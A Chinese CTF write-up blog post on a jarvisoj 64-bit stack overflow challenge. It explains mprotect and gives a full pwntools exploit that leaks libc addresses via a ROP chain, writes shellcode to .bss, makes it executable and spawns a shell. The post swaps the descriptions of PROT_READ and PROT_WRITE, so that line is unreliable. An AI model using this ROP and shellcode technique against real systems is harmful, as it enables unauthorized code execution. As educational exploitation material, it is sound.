0%

栈溢出mprotect

mprotect可以改变一段程序的权限,使得在开启nx的程序中执行shellcode可行

问题来自于jarvisoj上的level5,文件与之前的level3_x64相同
具体情况如下
1.程序开启NX
2.系统禁用system和execve函数
3.题目提供了libc链接库供计算偏移

思路大致还是利用偏移溢出mprotect的真实地址,使用mprotect函数增加段的执行权限,把shellcode写入改变后的段,达成getshell,但我对64位下的溢出和mprotect不太熟悉(菜),所以搜索了很多writeup来看看别人的做法。

先导知识
mprotect的函数原型和所需头文件

1
2
3
int mprotect(const void *start, size_t len, int prot);

#include <sys/mman.h>

三个参数分别为起始地址、长度和保护属性
前两个很好理解,保护属性则指的是内存区的权限,用法类似于linux下的文件权限rwx
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。错误的原因主要有以下几个:
1)EACCES
该内存不能设置为相应权限。这是可能发生的,比如,如果你 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 标志为 PROT_WRITE。
2)EINVAL
start 不是一个有效的指针,指向的不是某个内存页的开头。
3)ENOMEM
内核内部的结构体无法分配。
4)ENOMEM
进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。
如果调用进程内存访问行为侵犯了这些设置的保护属性,内核会为该进程产生 SIGSEGV (Segmentation fault,段错误)信号,并且终止该进程。

https://blog.csdn.net/Roland_Sun/article/details/33728955

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import time
context(arch='amd64',os='linux')
p=remote('pwn2.jarvisoj.com','9884')
#p=process("./level3_x64")
libc=ELF("./libc-2.19.so")
elf=ELF("./level3_x64")

rop1=0x00000000004006aa #pop rbx pop rbp pop r12 pop r13 pop r14 pop r15
rop2=0x0000000000400690 #mov rdx,r13 mov rsi,r14 mov edi,r15
main_addr=0x000000000040061A
#main_addr=elf.symbols['main']

payload="A"*0x88+p64(rop1)+p64(0) #rbx
payload+=p64(1)+p64(elf.got["write"]) #rbp,r12
payload+=p64(8)+p64(elf.got["write"])+p64(1) #rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)

p.recvuntil("Input:\n")
p.sendline(payload)
write_addr=u64(p.recv(8))
sleep(0.5)
print "write_addr="+hex(write_addr)

mprotect_addr=write_addr-libc.symbols["write"]+libc.symbols["mprotect"]
print "mprotect_address="+hex(mprotect_addr)

shellcode=p64(mprotect_addr)+asm(shellcraft.amd64.sh())
print shellcode
print "size of shellcode="+str(len(shellcode))
p.recvuntil("Input:\n")
payload="A"*0x88+p64(rop1)+p64(0) #rbx
payload+=p64(1)+p64(elf.got["read"]) #rbp,r12
payload+=p64(len(shellcode)+1)+p64(elf.bss())+p64(0) #rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(main_addr)
p.sendline(payload)
p.sendline(shellcode)

payload="A"*0x88+p64(rop1)+p64(0) #rbx
payload+=p64(1)+p64(elf.bss()) #rbp,r12
payload+=p64(7)+p64(0x1000)+p64(0x600000) #rdx,rsi,rdi
payload+=p64(rop2)+'A'*56+p64(elf.bss()+8)
p.recvuntil("Input:\n")
p.sendline(payload)

p.interactive()

https://blog.csdn.net/qq_38204481/article/details/80984318